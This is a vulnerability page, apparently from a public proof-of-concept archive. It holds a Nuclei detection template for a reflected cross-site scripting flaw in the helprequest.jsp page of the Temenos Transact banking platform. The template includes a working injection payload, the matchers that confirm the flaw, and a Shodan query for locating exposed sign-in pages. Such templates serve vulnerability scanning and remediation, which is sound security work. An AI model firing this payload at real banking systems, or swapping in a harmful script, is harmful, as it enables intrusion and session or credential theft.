temenos-transact-xss: Temenos Transact - Cross-Site Scripting

2026-08-18 Temenos Transact PoC Public

Description

Multiple vulnerabilities in Temenos Transact (formerly T24) that allows multiple reflected cross-site scripting (XSS) attacks.

PoC

id: temenos-transact-xss

info:
  name: Temenos Transact - Cross-Site Scripting
  author: qotoz
  severity: high
  description: |
    Multiple vulnerabilities in Temenos Transact (formerly T24) that allows multiple reflected cross-site scripting (XSS) attacks.
  impact: |
    Attackers can inject malicious JavaScript through the helprequest.jsp component, potentially stealing banking credentials and session tokens from employees using the Temenos core banking platform.
  remediation: |
    Update Temenos Transact to a patched version that properly sanitizes the url parameter in helprequest.jsp and encodes output to prevent XSS attacks.
  reference:
    - https://www.qotoz.com/posts/Temenos-Transact-XSS-CVE/
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.title:"transact sign in","t24 sign in"
  tags: temenos,transact,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/jsps/helprequest.jsp?url=%27)%22+onerror=%22confirm(%27document.domain%27)%22"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - setupHelp('')" onerror="confirm('document.domain')

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4a0a0047304502206c75221dbe40fa444190973dc2aea7ddb7ba7c0ec264d3fb509f01b7dd1d79cc022100899eec1e35688e98218be3145ea02a6298f6f0961d420177cadcb17935195d8e:922c64590222798bb761d5b6d8e72950

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